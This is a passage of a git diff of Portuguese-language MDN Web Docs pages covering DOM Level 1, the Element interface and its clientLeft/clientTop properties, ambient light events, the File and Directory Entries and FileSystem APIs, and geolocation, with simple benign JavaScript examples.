+ +

O que o Núcleo DOM Nível 1 me permite fazer?

+ +

O DOM Nível 1 da W3C permite que você altere o conteúdo da árvore do modo que você desejar. É poderoso o bastante para construir qualquer documento HTML a partir do zero. Ele permite autores alterar qualquer coisa no documento a partir de um script, a qualquer instante. O modo mais fácil de um autor de uma página alterar o DOM dinamicamente é utilizando JavaScript. Em JavaScript, o documento é acessível do mesmo modo que em navegadores antigos: através da propriedade document do objeto global. Esse objeto document implementa a interface Document da especificação do Nível 1 do DOM do W3C.

+ +

Um exemplo simples

+ +

Suponha que autor queira  pegar o documento acima e alterar o conteúdo do cabeçalho, e escrever dois parágrafos ao invés de um. O seguinte script irá fazer o trabalho:

+ +
// document.getElementsByTagName("H1") retorna um NodeList dos elementos H1
+// no documento, e o primeiro é o número 0:
+var header = document.getElementsByTagName("H1").item(0);
+
+// o firstChild do cabeçalho é um Text node, e a propriedade data
+// do text node contém seu texto:
+header.firstChild.data = "A dynamic document";
+// agora o cabeçalho é "A dynamic document".
+
+// Recupera o primeiro elemento P no documento do mesmo modo:
+var para = document.getElementsByTagName("P").item(0);
+// e altera seu texto também:
+para.firstChild.data = "This is the first paragraph.";
+
+// cria um novo Text node para o segundo parágrafo
+var newText = document.createTextNode("This is the second paragraph.");
+// cria um novo Element para ser o segundo parágrafo
+var newElement = document.createElement("P");
+// insere o texto no segundo parágrafo
+newElement.appendChild(newText);
+// e coloca o parágrafo no final do documento acrescentando-o ao
+// BODY (que é o pai de para)
+para.parentNode.appendChild(newElement);
+
+ +

Você pode ver esse script como um exemplo completo.

+ +

Como posso aprender mais?

+ +

Agora que você está familiarizado com os conceitos básicos do DOM há um documento explicando os métodos fundamentais do DOM Nível 1. Ele é o acompanhamento desse documento.

+ +

Veja também a especificação do Núcleo DOM Nível 1 do W3C. É uma especificação razoavelmente clara, apesar de sua formalidade. A principal utilidade para os autores é a descrição dos diferentes tipos de objetos DOM e todas as suas propriedades e métodos. Veja também nossa outra documentação DOM.

+ +
+

Original Document Information

+ + +
diff --git a/files/pt-pt/web/api/element/clientleft/index.html b/files/pt-pt/web/api/element/clientleft/index.html new file mode 100644 index 0000000000..48ee3f11b4 --- /dev/null +++ b/files/pt-pt/web/api/element/clientleft/index.html @@ -0,0 +1,47 @@ +--- +title: element.clientLeft +slug: DOM/element.clientLeft +tags: + - PrecisaDeRevisãoEditorial + - Referência_do_DOM_Gecko +translation_of: Web/API/Element/clientLeft +--- +

{{ Fx_minversion_header(3) }} {{ ApiRef() }} Faltam duas imagens no documento

+

Resumo

+

A largura da borda esquerda de um elemento em pixels inclui a largura da barra de rolagem vertical se a direção do texto do elemento estiver da direita para a esquerda e se houver um excesso causando uma barra de rolagem vertical na esquerda para ser renderizada. clientLeft não inclui a margem ou o enchimento esquerdo. clientLeft é somente leitura.

+

Aplicações baseadas em Gecko suportam clientLeft començando com o Gecko 1.9 (Firefox 3, implementado em {{ Bug(111207) }}). Esta propriedade não é suportada pelo Firefox 2 e mais antigos.

+

Sintaxe

+
var left = element.clientLeft;
+
+

Exemplos

+
+
+

padding-top

+

Gentle, individualistic and very loyal, Birman cats fall between Siamese and Persian in character. If you admire cats that are non aggressive, that enjoy being with humans and tend to be on the quiet side, you may well find that Birman cats are just the felines for you.

+

Image:BirmanCat.jpgAll Birmans have colorpointed features, dark coloration of the face, ears, legs and tail.

+

Cat image and text coming from www.best-cat-art.com

+

padding-bottom

+
+ LeftTopRightBottommargin-topmargin-bottomborder-topborder-bottom{{ mediawiki.external('if IE') }}><span id="MrgLeft" style="position: absolute; left: 8px; top: 65px; font: bold 13px Arial, sans-serif !important; writing-mode: tb-rl;">margin-left</span><span id="BrdLeft" style="position: absolute; left: 33px; top: 65px; color: white; font: bold 13px Arial, sans-serif !important; writing-mode: tb-rl;">border-left</span><span id="PdgLeft" style="position: absolute; left: 55px; top: 65px; font: bold 13px Arial, sans-serif !important; writing-mode: tb-rl;">padding-left</span><span id="PdgRight" style="position: absolute; left: 275px; top: 60px; color: black; font: bold 13px Arial, sans-serif !important; writing-mode: tb-rl; white-space: nowrap;">padding-right</span><span id="BrdRight" style="position: absolute; left: 310px; top: 65px; color: white; font: bold 13px Arial, sans-serif !important; writing-mode: tb-rl;">border-right</span><span id="MrgRight" style="position: absolute; left: 340px; top: 65px; font: bold 13px Arial, sans-serif !important; writing-mode: tb-rl;">margin-right</span><!{{ mediawiki.external('endif') }}
+

Image:clientLeft.png

+

Vertical scrollbar position when layout.scrollbar.side property is set to 1 or to 3

+

Quando a propriedade + + layout.scrollbar.side + é configurada para 1 ou para 3 e quando a direção do texto é configurada da direita para a esquerda, então a barra de rolagem vertical é posicionada na esquerda e isto impacta na maneira como o clientLeft é computado.

+

Especificação

+

Não é parte de qualquer especificação W3C.

+

Notas

+

clientLeft foi primeiramente introduzido no objeto modelo DHTML do MS IE.

+

A posição da barra de rolagem vertical na direção do texto, direita para a esquerda, configura que o elemento dependerá da preferência + + layout.scrollbar.side +

+

Referências

+ +

Categorias

+

Interwiki Language Links

+

{{ languages( { "en": "en/DOM/element.clientLeft", "ja": "ja/DOM/element.clientLeft", "pl": "pl/DOM/element.clientLeft" } ) }}

diff --git a/files/pt-pt/web/api/element/clienttop/index.html b/files/pt-pt/web/api/element/clienttop/index.html new file mode 100644 index 0000000000..02f2ee736c --- /dev/null +++ b/files/pt-pt/web/api/element/clienttop/index.html @@ -0,0 +1,38 @@ +--- +title: element.clientTop +slug: DOM/element.clientTop +tags: + - PrecisaDeRevisãoEditorial + - Referência_do_DOM_Gecko +translation_of: Web/API/Element/clientTop +--- +

{{ Fx_minversion_header(3) }} {{ ApiRef() }} Falta uma imagem no documento

+

Resumo

+

A largura da borda superior de um elemento em pixels não inclui a margem superior ou o enchimento. clientTop é somente leitura.

+

Aplicações baseadas em Gecko suportam clientTop começando com Gecko 1.9 (Firefox 3, implementou em {{ Bug(111207) }}). Esta propriedade não é suportada no Firefox 2 e mais antigos.

+

Sintaxe

+
vartop = element.clientTop;
+
+

Exemplos

+
+
+

padding-top

+

Gentle, individualistic and very loyal, Birman cats fall between Siamese and Persian in character. If you admire cats that are non aggressive, that enjoy being with humans and tend to be on the quiet side, you may well find that Birman cats are just the felines for you.

+

Image:BirmanCat.jpgAll Birmans have colorpointed features, dark coloration of the face, ears, legs and tail.

+

Cat image and text coming from www.best-cat-art.com

+

padding-bottom

+
+ LeftTopRightBottommargin-topmargin-bottomborder-topborder-bottom{{ mediawiki.external('if IE') }}><span id="MrgLeft" style="position: absolute; left: 8px; top: 65px; font: bold 13px Arial, sans-serif !important; writing-mode: tb-rl;">margin-left</span><span id="BrdLeft" style="position: absolute; left: 33px; top: 65px; color: white; font: bold 13px Arial, sans-serif !important; writing-mode: tb-rl;">border-left</span><span id="PdgLeft" style="position: absolute; left: 55px; top: 65px; font: bold 13px Arial, sans-serif !important; writing-mode: tb-rl;">padding-left</span><span id="PdgRight" style="position: absolute; left: 275px; top: 60px; color: black; font: bold 13px Arial, sans-serif !important; writing-mode: tb-rl; white-space: nowrap;">padding-right</span><span id="BrdRight" style="position: absolute; left: 310px; top: 65px; color: white; font: bold 13px Arial, sans-serif !important; writing-mode: tb-rl;">border-right</span><span id="MrgRight" style="position: absolute; left: 340px; top: 65px; font: bold 13px Arial, sans-serif !important; writing-mode: tb-rl;">margin-right</span><!{{ mediawiki.external('endif') }}
+

Image:clientTop.png

+

Especificação

+

Não é parte de nenhuma especificação W3C.

+

Notas

+

clientTop foi primeiramente introduzido no objeto modelo DHTML do MS IE.

+

Referências

+ +

Categorias

+

Interwiki Language Links

+

{{ languages( { "en": "en/DOM/element.clientTop", "pl": "pl/DOM/element.clientTop" } ) }}

diff --git a/files/pt-pt/web/api/element/index.html b/files/pt-pt/web/api/element/index.html new file mode 100644 index 0000000000..7b9a55f260 --- /dev/null +++ b/files/pt-pt/web/api/element/index.html @@ -0,0 +1,573 @@ +--- +title: element +slug: DOM/element +tags: + - API + - API da Web + - DOM + - Element + - Elemento + - Interface + - Referencia + - Referência DOM +translation_of: Web/API/Element +--- +
{{APIRef("DOM")}}
+ +

Element é a classe base mais geral da qual todos os objetos em um {{DOMxRef("Document","documento")}} herdam. Este só tem métodos e propriedades comuns para todos os tipos de elementos. Classes mais específicas herdam de Element. Por exemplo, a interface {{DOMxRef("HTMLElement")}} é a interface base para os elementos HTML, enquanto a interface {{DOMxRef("SVGElement")}} é a base para todos os elementos SVG. A maioria das funcionalidades é especificada mais abaixo na hierarquia de classes.

+ +

Linguagens fora do âmbito da plataforma Web, como XUL através da interface XULElement, também implementa Element.

+ +

{{InheritanceDiagram}}

+ +

Propriedades

+ +

Inherits properties from its parent interface, {{DOMxRef("Node")}}, and by extension that interface's parent, {{DOMxRef("EventTarget")}}. It implements the properties of {{DOMxRef("ParentNode")}}, {{DOMxRef("ChildNode")}}, {{DOMxRef("NonDocumentTypeChildNode")}}, and {{DOMxRef("Animatable")}}.

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
NomeDescriçãoTipoDosponibilidade
attibutesTodos os atributos associados ao elementoNamedNodeMapAll
childNodesTodos os nós-filhos de um elemento.NodeListAll
classNameRetorna ou define a classe do elemento.StringHTML, XUL
clientHeightA altura interna de um elemento.NumberHTML
clientLeftA largura da borda esquerda de um elemento.NumberHTML
clientTopA largura da borda superior de um elemento.NumberHTML
clientWidthA largura interna de um elemento.NumberHTML
dirRetorna ou define a direcionalidade do elemento.StringHTML, XUL
firstChildO primeiro nó-filho direto de um elemento, ou null se o elemento não tem nós-filhos.NodeAll
idRetorna ou define o id do elemento.StringHTML, XUL
innerHTMLRetorna ou define a marcação e o conteúdo de um elemento.StringHTML
langRetorna ou define o atributo linguagem de um elemento, texto, e conteúdo do elemento.StringHTML
lastChildO último nó-filho direto de um elemento, ou null se o elemento não tem nós-filhos.NodeAll
localNameA parte local de um nome qualificado de um elemento.StringAll
NomeDescriçãoTipoDisponibilidade
nameRetorna/define o atributo name de um elemento.StringHTML
namespaceURIA URI de namespace do nó, ou null se não está especificado.StringAll
nextSiblingO nó imediatamente seguinte ao dado numa árvore, ou null se não existe nó-irmão.NodeAll
nodeNameO nome do nó.StringAll
nodeTypeUm número representando o tipo do nó. É sempre igual a 1 para elementos DOM.NumberAll
nodeValueO valor do nó. É sempre igual a null para elementos DOM.StringAll
offsetHeightA altura de um elemento, em relação ao layout.NumberHTML
offsetLeftA distância da borda esquerda do elemento para o a borda esquerda do seu offsetParent.NumberHTML
offsetParentO elemento para o qual todos cálculos de offset estão atualmente computados.ElementHTML
offsetTopA distância da borda superior do elemento para o a borda superior do seu offsetParent.NumberHTML
offsetWidthA largura de um elemento, em relação ao layout.NumberHTML
ownerDocumentO documento no qual o nó está, ou null se o nó não está dentro de nenhum.DocumentAll
NomeDescriçãoTipoDisponibilidade
parentNodeThe parent element of this node, or null if the node is not inside of a DOM Document.NodeAll
prefixThe namespace prefix of the node, or null if no prefix is specified.StringAll
previousSiblingThe node immediately preceding the given one in the tree, or null if there is no sibling node.NodeAll
scrollHeightThe scroll view height of an element.NumberHTML
scrollLeftGets/sets the left scroll offset of an element.NumberHTML
scrollTopGets/sets the top scroll offset of an element.NumberHTML
scrollWidthThe scroll view width of an element.NumberHTML
styleAn object representing the declarations of an element's style attributes.CSSStyleHTML, XUL
tabIndexGets/sets the position of the element in the tabbing order.NumberHTML
tagNameThe name of the tag for the given element.StringAll
textContentGets/sets the textual contents of an element and all its descendants.StringAll
+ +

Métodos

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Nome & DescriçãoRetornaDisponibilidade
addEventListener( type, listener, useCapture )
+ Register an event handler to a specific event type on the element.
-All
appendChild( appendedNode )
+ Insert a node as the last child node of this element.
NodeAll
blur()
+ Removes keyboard focus from the current element.
-HTML, XUL
click()
+ Simulates a click on the current element.
-HTML, XUL
cloneNode( deep )
+ Clone a node, and optionally, all of its contents.
NodeAll
dispatchEvent( event )
+ Dispatch an event to this node in the DOM.
BooleanAll
focus()
+ Gives keyboard focus to the current element.
-HTML, XUL
getAttribute( name )
+ Retrieve the value of the named attribute from the current node.
ObjectAll
getAttributeNS( namespace, name )
+ Retrieve the value of the attribute with the specified name and namespace, from the current node.
ObjectAll
getAttributeNode( name )
+ Retrieve the node representation of the named attribute from the current node.
AttrAll
getAttributeNodeNS( namespace, name )
+ Retrieve the node representation of the attribute with the specified name and namespace, from the current node.
AttrAll
Nome & DescriçãoRetornaDisponibilidade
getElementsByTagName( name )
+ Retrieve a set of all descendant elements, of a particular tag name, from the current element.
NodeSetAll
getElementsByTagNameNS( namespace, name )
+ Retrieve a set of all descendant elements, of a particular tag name and namespace, from the current element.
NodeSetAll
hasAttribute( name )
+ Check if the element has the specified attribute, or not.
BooleanAll
hasAttributeNS( namespace, name )
+ Check if the element has the specified attribute, in the specified namespace, or not.
BooleanAll
hasAttributes()
+ Check if the element has any attributes, or not.
BooleanAll
hasChildNodes()
+ Check if the element has any child nodes, or not.
BooleanAll
insertBefore( insertedNode, adjacentNode )
+ Inserts the first node before the second, child, Node in the DOM.
NodeAll
normalize()
+ Clean up all the text nodes under this element (merge adjacent, remove empty).
-All
removeAttribute( name )
+ Remove the named attribute from the current node.
-All
removeAttributeNS( namespace, name )
+ Remove the attribute with the specified name and namespace, from the current node.
-All
Nome & DescriçãoRetornaDisponibilidade
removeAttributeNode( name )
+ Remove the node representation of the named attribute from the current node.
-All
removeChild( removedNode )
+ Removes a child node from the current element.
NodeAll
removeEventListener( type, handler, useCapture )
+ Removes an event listener from the element.
-All
replaceChild( insertedNode, replacedNode )
+ Replaces one child node in the current element with another.
NodeAll
scrollIntoView( alignWithTop )
+ Scrolls the page until the element gets into the view.
-HTML
setAttribute( name, value )
+ Set the value of the named attribute from the current node.
-All
setAttributeNS( namespace, name, value )
+ Set the value of the attribute with the specified name and namespace, from the current node.
-All
setAttributeNode( name, attrNode )
+ Set the node representation of the named attribute from the current node.
-All
setAttributeNodeNS( namespace, name, attrNode )
+ Set the node representation of the attribute with the specified name and namespace, from the current node.
-All
+ +

Event Handlers

+ +

These are properties that correspond to the HTML 'on' event attributes.

+ +

Unlike the corresponding attributes, the values of these properties are functions (or any other object implementing the EventListener interface) rather than a string. In fact, assigning an event attribute in HTML creates a wrapper function around the specified code. For example, given the following HTML:

+ +
<div onclick="foo();">click me!</div>
+
+ +

If element is a reference to this div, the value of element.onclick is effectively:

+ +
function onclick(event) {
+   foo();
+}
+
+ +

Note how the event object is passed as parameter event to this wrapper function.

+ +
+
onblur
+
Returns the event handling code for the blur event.
+
+ +
+
onchange
+
Returns the event handling code for the change event.
+
+ +
+
onclick
+
Returns the event handling code for the click event.
+
+ +
+
ondblclick
+
Returns the event handling code for the dblclick event.
+
+ +
+
onfocus
+
Returns the event handling code for the focus event.
+
+ +
+
onkeydown
+
Returns the event handling code for the keydown event.
+
+ +
+
onkeypress
+
Returns the event handling code for the keypress event.
+
+ +
+
onkeyup
+
Returns the event handling code for the keyup event.
+
+ +
+
onmousedown
+
Returns the event handling code for the mousedown event.
+
+ +
+
onmousemove
+
Returns the event handling code for the mousemove event.
+
+ +
+
onmouseout
+
Returns the event handling code for the mouseout event.
+
+ +
+
onmouseover
+
Returns the event handling code for the mouseover event.
+
+ +
+
onmouseup
+
Returns the event handling code for the mouseup event.
+
+ +
+
onresize
+
Returns the event handling code for the resize event.
+
+ +
+
onscroll
+
Returns the event handling code for the scroll event.
+
+ +
 
+ +

Compatibilidade de navegador

+ + + +

{{Compat("api.Element")}}

diff --git a/files/pt-pt/web/api/eventos_de_luz_ambiente/index.html b/files/pt-pt/web/api/eventos_de_luz_ambiente/index.html deleted file mode 100644 index 32b15a8ea1..0000000000 --- a/files/pt-pt/web/api/eventos_de_luz_ambiente/index.html +++ /dev/null @@ -1,70 +0,0 @@ ---- -title: Eventos de Luz Ambiente -slug: Web/API/Eventos_de_Luz_Ambiente -tags: - - Luz Ambiente -translation_of: Web/API/Ambient_Light_Events ---- -
{{DefaultAPISidebar("Ambient Light Events")}}{{SeeCompatTable}}
- -

Os eventos de luz ambiente são uma maneira prática de tornar uma página da Web ou um aplicação ciente de qualquer alteração na intensidade da luz. Isto permite-lhes reagir a essa alteração, por exemplo, alterando o contraste da cor da interface do utilizador (IU) ou alterando a exposição necessária para tirar uma fotografia.

- -

Eventos de Luz

- -

When the light sensor of a device detects a change in the light level, it notifies the browser of that change. When the browser gets such a notification, it fires a {{domxref("DeviceLightEvent")}} event that provides information about the exact light intensity.

- -

This event can be captured at the window object level by using the {{domxref("EventTarget.addEventListener","addEventListener")}} method (using the {{event("devicelight")}} event name) or by attaching an event handler to the {{domxref("window.ondevicelight")}} property.

- -

Once captured, the event object gives access to the light intensity expressed in lux through the {{domxref("DeviceLightEvent.value")}} property.

- -

Exemplo

- -
if ('ondevicelight' in window) {
-  window.addEventListener('devicelight', function(event) {
-    var body = document.querySelector('body');
-    if (event.value < 50) {
-      body.classList.add('darklight');
-      body.classList.remove('brightlight');
-    } else {
-      body.classList.add('brightlight');
-      body.classList.remove('darklight');
-    }
-  });
-} else {
-  console.log('devicelight event not supported');
-}
-
- -

Especificações

- - - - - - - - - - - - - - - - -
EspecificaçãoEstadoComentário
{{SpecName("AmbientLight", "", "Ambient Light Events")}}{{Spec2("AmbientLight")}}Initial definition
- -

Compatibilidade de navegador

- - - -

{{Compat("api.DeviceLightEvent")}}

- -

 

- -

Consultar também

- - diff --git a/files/pt-pt/web/api/file_and_directory_entries_api/index.html b/files/pt-pt/web/api/file_and_directory_entries_api/index.html new file mode 100644 index 0000000000..26e56945ee --- /dev/null +++ b/files/pt-pt/web/api/file_and_directory_entries_api/index.html @@ -0,0 +1,191 @@ +--- +title: API Entradas de Diretoria e Ficheiro +slug: Web/API/API_Entradas_de_Diretoria_e_Ficheiro +tags: + - API + - API Entradas de Diretoria e Ficheiro + - API Sistema de Ficheiros + - Ficheiros + - Não Padrão + - Referencia + - Resuno + - Sinopse +translation_of: Web/API/File_and_Directory_Entries_API +--- +

{{DefaultAPISidebar("File System API")}}{{Non-standard_header}}

+ +

API Entradas de Diretoria e Ficheiro simula um sistema de ficheiros local em que as páginas da Web podem navegar dentro e aceder aos ficheiros na mesma. Pode desenvolver aplicações que lêem, escrevem e criam ficheiros e/ou diretorias num sistema de ficheiros virtual e ambiente de testes (sandbox).

+ +
+

Because this is a non-standard API, whose specification is not currently on a standards track, it's important to keep in mind that not all browsers implement it, and those that do may implement only small portions of it. Check the {{anch("Browser compatibility")}} section for details.

+
+ +

Two very similar APIs exist depending on whether you desire asynchronous or synchronous behavior. The synchronous API is indended to be used inside a {{domxref("Worker")}} and will return the values you desire. The asynchronous API will not block and functions and the API will not return values; instead, you will need to supply a callback function to handle the response whenever it arrives.

+ +
+

The Firefox implementation of the File and Directory Entries API is very limited; there is no support for creating files. Only for accessing files which are selected by the user in a file {{HTMLElement("input")}} element (see {{domxref("HTMLInputElement")}} as well) or when a file or directory is provided to the Web site or app using drag and drop. Firefox also does not implement the synchronous API. Check the browser compatibility for any part of the API you use carefully, and see File and Directory Entries API support in Firefox for more details.

+
+ +

Obter acesso a um sistema de ficheiros

+ +

There are two ways to get access to file systems defined in the current specification draft:

+ + + +

API Assíncrona

+ +

The asynchronous API should be used for most operations, to prevent file system accesses from blocking the entire browser if used on the main thread. It includes the following interfaces:

+ +
+
{{domxref("FileSystem")}}
+
Represents a file system.
+
{{domxref("FileSystemEntry")}}
+
The basic interface representing a single entry in a file system. This is implemented by other interfaces which represent files or directories.
+
{{domxref("FileSystemFileEntry")}}
+
Represents a single file in a file system.
+
{{domxref("FileSystemDirectoryEntry")}}
+
Represents a single directory in a file system.
+
{{domxref("FileSystemDirectoryReader")}}
+
Created by calling {{domxref("FileSystemDirectoryEntry.createReader()")}}, this interface provides the functionality which lets you read the contents of a directory.
+
{{domxref("FileSystemFlags")}}
+
Defines a set of values which are used when specifying option flags when calling certain methods in the File and Directory Entries API.
+
{{domxref("FileError")}}
+
Represents an error which is generated by asynchronous file system calls.
+
+ +

There are also two global functions (which are not part of the specification at this time and are implemented only by Google Chrome). They're available on the {{domxref("Window")}} object and implemented in {{domxref("LocalFileSystem")}}: requestFileSystem() and resolveLocalFileSystemURL().

+ +

API Síncrona

+ +

The synchronous API is should only be used in {{domxref("Worker")}}s; these calls block until they're finished executing, and simply return the results instead of using callbacks. Using them on the main thread will block the browser, which is naughty. The interfaces below otherwise mirror the ones from the asynchronous API.

+ +
+
{{domxref("FileSystemSync")}}
+
Represents a file system.
+
{{domxref("FileSystemEntrySync")}}
+
The basic interface representing a single entry in a file system. This is implemented by other interfaces which represent files or directories. {{domxref("EntrySync")}}
+
{{domxref("FileSystemFileEntrySync")}}
+
Represents a single file in a file system.
+
{{domxref("FileSystemDirectoryEntrySync")}}
+
Represents a single directory in a file system.
+
{{domxref("FileSystemDirectoryReaderSync")}}
+
Created by calling {{domxref("FileSystemDirectoryEntrySync.createReader()")}}, this interface provides the functionality which lets you read the contents of a directory.
+
{{domxref("FileException")}}
+
Represents an error which is generated by synchronous file system calls.
+
+ +

There are also two global functions (which are not part of the specification at this time and are implemented only by Google Chrome). They're available on the {{domxref("Worker")}} object and implemented in {{domxref("LocalFileSystemSync")}}: requestFileSystemSync() and resolveLocalFileSystemSyncURL().

+ +

Outras Interfaces

+ +
+
{{domxref("LocalFileSystem")}}
+
Gives you access to a sandboxed file system.
+
{{domxref("LocalFileSystemSync")}}
+
 
+
{{domxref("LockedFile")}}
+
Provides tools to deal with a given file with all the necessary locks.
+
{{domxref("Metadata")}}{{experimental_inline}}
+
+ +

Especificações

+ + + + + + + + + + + + + + + + +
EspecificaçãoEstadoComentário
{{SpecName('File System API')}}{{Spec2('File System API')}}Draft of proposed API
+ +

This API has no official W3C or WHATWG specification.

+ +

Compatibilidade de navegador

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Asynchronous API13 {{ property_prefix("webkit") }}{{ CompatGeckoDesktop(50) }}[1]{{ CompatNo }}{{ CompatNo }}{{ CompatNo }}
Synchronous API13 {{ property_prefix("webkit") }}{{ CompatNo }}{{ CompatNo }}{{ CompatNo }}{{ CompatNo }}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidChrome for AndroidFirefox Mobile (Gecko)IE PhoneOpera MobileSafari Mobile
Asynchronous API{{ CompatNo }}{{ CompatVersionUnknown }} {{ property_prefix("webkit") }}{{ CompatGeckoMobile(50) }}[1]{{ CompatNo }}{{ CompatNo }}{{ CompatNo }}
Synchronous API{{ CompatNo }}{{ CompatVersionUnknown }} {{ property_prefix("webkit") }}{{ CompatNo }}{{ CompatNo }}{{ CompatNo }}{{ CompatNo }}
+
+ +

[1] Firefox 50 introduces partial support for the File and Directory Entries API. Be sure to check the compatibility tables for individual interfaces and methods before using them, to ensure that they're supported, before you use them. The API can be disabled by setting the value of the preference dom.webkitBlink.filesystem.enabled to false.

+ +

Consulte também

+ + diff --git a/files/pt-pt/web/api/filesystem/index.html b/files/pt-pt/web/api/filesystem/index.html new file mode 100644 index 0000000000..76c4db9d6c --- /dev/null +++ b/files/pt-pt/web/api/filesystem/index.html @@ -0,0 +1,54 @@ +--- +title: Sistema de Ficheiros +slug: Web/API/Sistema_de_ficheiros +tags: + - API + - File API + - File System API + - File and Directory Entries API + - Interface + - Não Standard + - Offline + - filesystem +translation_of: Web/API/FileSystem +--- +
+

{{APIRef("File System API")}}{{SeeCompatTable}}

+ +

A interface da "API de Entradas de Diretorias e Ficheiros" é usada para representar um sistema de ficheiros. Estes objetos podem ser obtidos a partir da propriedade {{domxref("FileSystemEntry.filesystem", "filesystem")}} em qualquer entrada do sistema de ficheiros. Alguns navegadores oferecem APIs adicionais para criar e gerir sistemas de ficheiros, por exemplo o método {{domxref("Window.requestFileSystem", "requestFileSystem()")}} encontrado no Chrome.

+ +

Esta interface não dá acesso ao filesystem do utilizador. Em vez disso, terá uma "drive virtual" dentro da sandbox do navegador. Se quiser ter acesso ao sistema de ficheiros dos utilizadores, necessita de invocar o utilizador.

+
+ +

Conceitos básicos

+ +

Existem duas formas para aceder ao objeto FileSystem:

+ +
    +
  1. Pode pedir por um dentro duma sandbox para só a sua app ao chamar window.requestFileSystem(). Se a chamada tiver sucesso, é executada uma callback handler, que recebe como parâmetro um objeto FileSystem que descreve o sistema de ficheiros.
  2. +
  3. Pode o pedir através duma entrada no sistema de ficheiros, com a propriadade {{domxref("FileSystemEntry.filesystem", "filesystem")}}.
  4. +
+ +

Atributos

+ +
+
{{domxref("FileSystem.name")}} {{ReadOnlyInline}}
+
Uma {{domxref("USVString")}} que representa o nome do sistema de ficheiros. Este nome é único na lista de sistemas de ficheiros exposta.
+
{{domxref("FileSystem.root")}} {{ReadOnlyInline}}
+
Um objeto de {{domxref("FileSystemDirectoryEntry")}} que representa a diretoria raiz do sistema de ficheiros. Através deste objeto, pode ganhar acesso a todos os ficheiros e diretorias no sistema.
+
+ +

Compatibilidade

+ + + +

{{Compat("api.FileSystem")}}

+ +

Ver também

+ + diff --git a/files/pt-pt/web/api/geolocation/utilizacao_da_geolocalizacao/index.html b/files/pt-pt/web/api/geolocation/utilizacao_da_geolocalizacao/index.html deleted file mode 100644 index 40fb7ce571..0000000000 --- a/files/pt-pt/web/api/geolocation/utilizacao_da_geolocalizacao/index.html +++ /dev/null @@ -1,242 +0,0 @@ ---- -title: API de Geolocalização -slug: Web/API/Geolocation/Utilizacao_da_geolocalizacao -tags: - - API de Geolocalização - - Guía - - Intermediário -translation_of: Web/API/Geolocation_API ---- -

{{securecontext_header}}{{APIRef("Geolocation API")}}

- -

A API de geolocalização permite que o utilizador forneça a sua localização nas aplicações da Web, se assim o desejar. Por motivos de segurança, é solicitado ao utilizador para dar permissão para informar a informação da localização.

- -

O objeto de geolocalização

- -

A API de Geolocation é publicada através do objeto {{domxref("navigator.geolocation")}}.

- -

Se o objeto existir, os serviços de geolocalização estarão disponíveis. Pode testar a presença de geolocalização assim:

- -
if ("geolocation" in navigator) {
-  /* geolocation is available */
-} else {
-  /* geolocation IS NOT available */
-}
-
- -
-

Nota: On Firefox 24 and older versions, "geolocation" in navigator always returned true even if the API was disabled. This has been fixed with Firefox 25 to comply with the spec. ({{bug(884921)}}).

-
- -

Obter a posição atual

- -

To obtain the user's current location, you can call the {{domxref("geolocation.getCurrentPosition()","getCurrentPosition()")}} method. This initiates an asynchronous request to detect the user's position, and queries the positioning hardware to get up-to-date information. When the position is determined, the defined callback function is executed. You can optionally provide a second callback function to be executed if an error occurs. A third, optional, parameter is an options object where you can set the maximum age of the position returned, the time to wait for a request, and if you want high accuracy for the position.

- -
-

Nota: By default, {{domxref("Geolocation.getCurrentPosition()","getCurrentPosition()")}} tries to answer as fast as possible with a low accuracy result. It is useful if you need a quick answer regardless of the accuracy. Devices with a GPS, for example, can take a minute or more to get a GPS fix, so less accurate data (IP location or wifi) may be returned to {{domxref("Geolocation.getCurrentPosition()","getCurrentPosition()")}}.

-
- -
navigator.geolocation.getCurrentPosition(function(position) {
-  do_something(position.coords.latitude, position.coords.longitude);
-});
- -

The above example will cause the do_something() function to execute when the location is obtained.

- -

Vigiar a posição atual

- -

If the position data changes (either by device movement or if more accurate geo information arrives), you can set up a callback function that is called with that updated position information. This is done using the {{domxref("Geolocation.watchPosition()","watchPosition()")}} function, which has the same input parameters as {{domxref("Geolocation.getCurrentPosition()","getCurrentPosition()")}}. The callback function is called multiple times, allowing the browser to either update your location as you move, or provide a more accurate location as different techniques are used to geolocate you. The error callback function, which is optional just as it is for {{domxref("Geolocation.getCurrentPosition()","getCurrentPosition()")}}, can be called repeatedly.

- -
-

Nota: pode utilizar {{domxref("Geolocation.watchPosition()","watchPosition()")}} sem uma chamada inicial {{domxref("Geolocation.getCurrentPosition()","getCurrentPosition()")}}.

-
- -
var watchID = navigator.geolocation.watchPosition(function(position) {
-  do_something(position.coords.latitude, position.coords.longitude);
-});
- -

The {{domxref("Geolocation.watchPosition()","watchPosition()")}} method returns an ID number that can be used to uniquely identify the requested position watcher; you use this value in tandem with the {{domxref("Geolocation.clearWatch()","clearWatch()")}} method to stop watching the user's location.

- -
navigator.geolocation.clearWatch(watchID);
-
- -

Resposta de ajuste preciso

- -

Both {{domxref("Geolocation.getCurrentPosition()","getCurrentPosition()")}} and {{domxref("Geolocation.watchPosition()","watchPosition()")}} accept a success callback, an optional error callback, and an optional PositionOptions object.

- -

{{page("/en-US/docs/DOM/navigator.geolocation.getCurrentPosition","PositionOptions")}}

- -

A call to {{domxref("Geolocation.watchPosition()","watchPosition")}} could look like:

- -
function geo_success(position) {
-  do_something(position.coords.latitude, position.coords.longitude);
-}
-
-function geo_error() {
-  alert("Sorry, no position available.");
-}
-
-var geo_options = {
-  enableHighAccuracy: true,
-  maximumAge        : 30000,
-  timeout           : 27000
-};
-
-var wpid = navigator.geolocation.watchPosition(geo_success, geo_error, geo_options);
- -

Descrever uma posição

- -

